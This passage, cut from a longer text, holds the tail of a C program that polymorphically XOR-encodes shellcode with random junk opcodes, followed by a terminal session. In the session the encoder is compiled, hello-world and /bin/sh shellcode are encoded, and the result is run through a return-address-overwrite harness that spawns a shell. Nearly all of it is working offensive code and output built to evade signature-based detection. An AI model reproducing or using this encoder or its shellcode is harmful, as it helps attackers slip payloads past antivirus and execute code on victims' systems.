printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with); srand((unsigned)time(NULL)); xor_with = good_bytes[rand()%n]; /* overwrite that 5th xor byte with the xor_with byte */ decoder[5] = xor_with; dlen = strlen((char *)decoder); /* prepend: longest useless[] instruction were using is four bytes * randomly prepend between one and four useless instructions so * sixteen bytes at maximim. */ /* insert: we can only insert two instructions in between the * decoder instructions before the jmp, they are also max of * four bytes so we allocate another eight. */ if ((ebuf = (unsigned char *)malloc(16+8+dlen+len+1)) == NULL) { perror("malloc"); _exit(-1); } memset(ebuf, '\x0', sizeof(ebuf)); /* randomly prepend between one and four instructions */ /* thirty one lines of useless[] instructions in 2d array */ n = rand()%(4 + 1); for (i = 0, plen = 0; i < n; i++) { int k, opcode = rand()%31; printf("[p] Prepending useless opcodes: "); for (k = 0; k < strlen((char *)useless[opcode]); k++) { printf("\\x%02x", useless[opcode][k]); } printf("\n"); memcpy(ebuf+plen, useless[opcode], strlen((char *)useless[opcode])); plen += strlen((char *)useless[opcode]); } printf("\n"); /* only place to insert unless[] instructions is at the offsets * two and five */ for (i = 0, olen = 0; i < dlen; i++) { ebuf[(i+plen+olen)] = decoder[i]; if (i == 2 || i == 5) { int k, opcode = rand()%31; printf("[i] Inserting useless opcodes: "); for (k = 0; k < strlen((char *)useless[opcode]); k++) { printf("\\x%02x", useless[opcode][k]); } printf("\n"); memcpy(ebuf+(i+plen+olen)+1, useless[opcode], strlen((char *)useless[opcode])); olen += strlen((char *)useless[opcode]); } } /* copy the xored shellcode byes in */ for (i = 0; i < len; i++) { ebuf[(i+dlen+plen+olen)] = xor_with^*(fbuf+i); } printf("\n\""); for (i = 0; i < strlen((char *)ebuf); i++) { if (i > 0 && i % 15 == 0) printf("\"\n\""); printf("\\x%02x", ebuf[i]); } printf("\";\n\n"); return 0; } else { printf("\n[*] No byte found to XOR with :(\n"); _exit(-1); } return 0; } [entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc -Wall encoder.c -o encoder [entropy@phiral.net ~/code/encoder/fids/fini/1]$ as hello_world.s -o hello_world.o [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ld hello_world.o -o hello_world [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./write-sc.sh hello_world [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder [x] Choose to XOR with 0xc8 [p] Prepending useless opcodes: \x49\xff\xcc [p] Prepending useless opcodes: \x49\xff\xce [p] Prepending useless opcodes: \x49\xff\xc5 [i] Inserting useless opcodes: \x49\xff\xcc [i] Inserting useless opcodes: \x49\xc1\xe6\x08 "\x49\xff\xcc\x49\xff\xce\x49\xff\xc5\x4d\x31\xc0\x49\xff\xcc" "\x41\xb1\xc8\x49\xc1\xe6\x08\xeb\x1a\x58\x48\x31\xc9\x48\x31" "\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08" "\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x58\xa2\xcc\x90\xa2" "\xc9\x97\x80\x71\xa7\xba\xa4\xac\xe9\xc2\x62\x62\x99\x80\x71" "\x80\xad\xa4\xa4\xa7\xe4\xe8\x9f\x99\x80\xf9\x13\x80\xf9\x01" "\x71\xc6\xc8\xc8\xc8\xae\x41\xd4\xc4\x80\x41\x2e\xa2\xc6\x92" "\x05\x48\x91\x91\xa2\xc9\x90\xa2\xc8\x97\x05\x48"; [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder [x] Choose to XOR with 0x26 [p] Prepending useless opcodes: \x49\xc1\xea\x08 [p] Prepending useless opcodes: \x49\xc1\xec\x08 [i] Inserting useless opcodes: \x49\xff\xc4 [i] Inserting useless opcodes: \x49\xff\xca "\x49\xc1\xea\x08\x49\xc1\xec\x08\x4d\x31\xc0\x49\xff\xc4\x41" "\xb1\x26\x49\xff\xca\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a" "\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff" "\xc1\xeb\xed\xe8\xe1\xff\xff\xff\xb6\x4c\x22\x7e\x4c\x27\x79" "\x6e\x9f\x49\x54\x4a\x42\x07\x2c\x8c\x8c\x77\x6e\x9f\x6e\x43" "\x4a\x4a\x49\x0a\x06\x71\x77\x6e\x17\xfd\x6e\x17\xef\x9f\x28" "\x26\x26\x26\x40\xaf\x3a\x2a\x6e\xaf\xc0\x4c\x28\x7c\xeb\xa6" "\x7f\x7f\x4c\x27\x7e\x4c\x26\x79\xeb\xa6"; [entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c unsigned char sc[] = "\x49\xc1\xea\x08\x49\xc1\xec\x08\x4d\x31\xc0\x49\xff\xc4\x41" "\xb1\x26\x49\xff\xca\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a" "\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff" "\xc1\xeb\xed\xe8\xe1\xff\xff\xff\xb6\x4c\x22\x7e\x4c\x27\x79" "\x6e\x9f\x49\x54\x4a\x42\x07\x2c\x8c\x8c\x77\x6e\x9f\x6e\x43" "\x4a\x4a\x49\x0a\x06\x71\x77\x6e\x17\xfd\x6e\x17\xef\x9f\x28" "\x26\x26\x26\x40\xaf\x3a\x2a\x6e\xaf\xc0\x4c\x28\x7c\xeb\xa6" "\x7f\x7f\x4c\x27\x7e\x4c\x26\x79\xeb\xa6"; void main(void) { int *ret; ret = (int *)&ret + 4; (*ret) = (int)sc; } [entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc sc.c: In function 'main': sc.c:14: warning: cast from pointer to integer of different size sc.c:11: warning: return type of 'main' is not 'int' [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc Hello, World! [entropy@phiral.net ~/code/encoder/fids/fini/1]$ as shell.s -o shell.o [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ld shell.o -o shell [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./write-sc.sh shell [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder [x] Choose to XOR with 0x43 [i] Inserting useless opcodes: \x49\xc1\xe4\x08 [i] Inserting useless opcodes: \x49\xff\xcb "\x4d\x31\xc0\x49\xc1\xe4\x08\x41\xb1\x43\x49\xff\xcb\xeb\x1a" "\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10" "\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff" "\xff\x29\x3d\x1b\x0b\x72\xbc\x0b\x72\xb5\x8e\xc3\x29\x78\x1b" "\x0b\x72\x8a\x12\x0b\xca\xa5\x0b\xfa\x6c\x21\x2a\x2d\x6c\x30" "\x2b\xe9\x12\x0b\xca\xa4\x0b\x72\x98\x0b\x72\x8a\xf2\x44\xcb" "\x5f\x4f\x0b\x72\x91\x8e\xc3"; [entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c unsigned char sc[] = "\x4d\x31\xc0\x49\xc1\xe4\x08\x41\xb1\x43\x49\xff\xcb\xeb\x1a" "\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10" "\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff" "\xff\x29\x3d\x1b\x0b\x72\xbc\x0b\x72\xb5\x8e\xc3\x29\x78\x1b" "\x0b\x72\x8a\x12\x0b\xca\xa5\x0b\xfa\x6c\x21\x2a\x2d\x6c\x30" "\x2b\xe9\x12\x0b\xca\xa4\x0b\x72\x98\x0b\x72\x8a\xf2\x44\xcb" "\x5f\x4f\x0b\x72\x91\x8e\xc3"; void main(void) { int *ret; ret = (int *)&ret + 4; (*ret) = (int)sc; } [entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc sc.c: In function 'main': sc.c:13: warning: cast from pointer to integer of different size sc.c:10: warning: return type of 'main' is not 'int' [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc $ exit [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder [x] Choose to XOR with 0x22 [p] Prepending useless opcodes: \x49\xc1\xe5\x08 [p] Prepending useless opcodes: \x49\xff\xcb [p] Prepending useless opcodes: \x49\xc1\xe5\x08 [p] Prepending useless opcodes: \x49\xff\xcc [i] Inserting useless opcodes: \x49\xc1\xec\x08 [i] Inserting useless opcodes: \x90 "\x49\xc1\xe5\x08\x49\xff\xcb\x49\xc1\xe5\x08\x49\xff\xcc\x4d" "\x31\xc0\x49\xc1\xec\x08\x41\xb1\x22\x90\xeb\x1a\x58\x48\x31" "\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb" "\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x48\x5c" "\x7a\x6a\x13\xdd\x6a\x13\xd4\xef\xa2\x48\x19\x7a\x6a\x13\xeb" "\x73\x6a\xab\xc4\x6a\x9b\x0d\x40\x4b\x4c\x0d\x51\x4a\x88\x73" "\x6a\xab\xc5\x6a\x13\xf9\x6a\x13\xeb\x93\x25\xaa\x3e\x2e\x6a" "\x13\xf0\xef\xa2"; [entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c unsigned char sc[] = "\x49\xc1\xe5\x08\x49\xff\xcb\x49\xc1\xe5\x08\x49\xff\xcc\x4d" "\x31\xc0\x49\xc1\xec\x08\x41\xb1\x22\x90\xeb\x1a\x58\x48\x31" "\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb" "\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x48\x5c" "\x7a\x6a\x13\xdd\x6a\x13\xd4\xef\xa2\x48\x19\x7a\x6a\x13\xeb" "\x73\x6a\xab\xc4\x6a\x9b\x0d\x40\x4b\x4c\x0d\x51\x4a\x88\x73" "\x6a\xab\xc5\x6a\x13\xf9\x6a\x13\xeb\x93\x25\xaa\x3e\x2e\x6a" "\x13\xf0\xef\xa2"; void main(void) { int *ret; ret = (int *)&ret + 4; (*ret) = (int)sc; } [entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc sc.c: In function 'main': sc.c:14: warning: cast from pointer to integer of different size sc.c:11: warning: return type of 'main' is not 'int' [entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc $ exit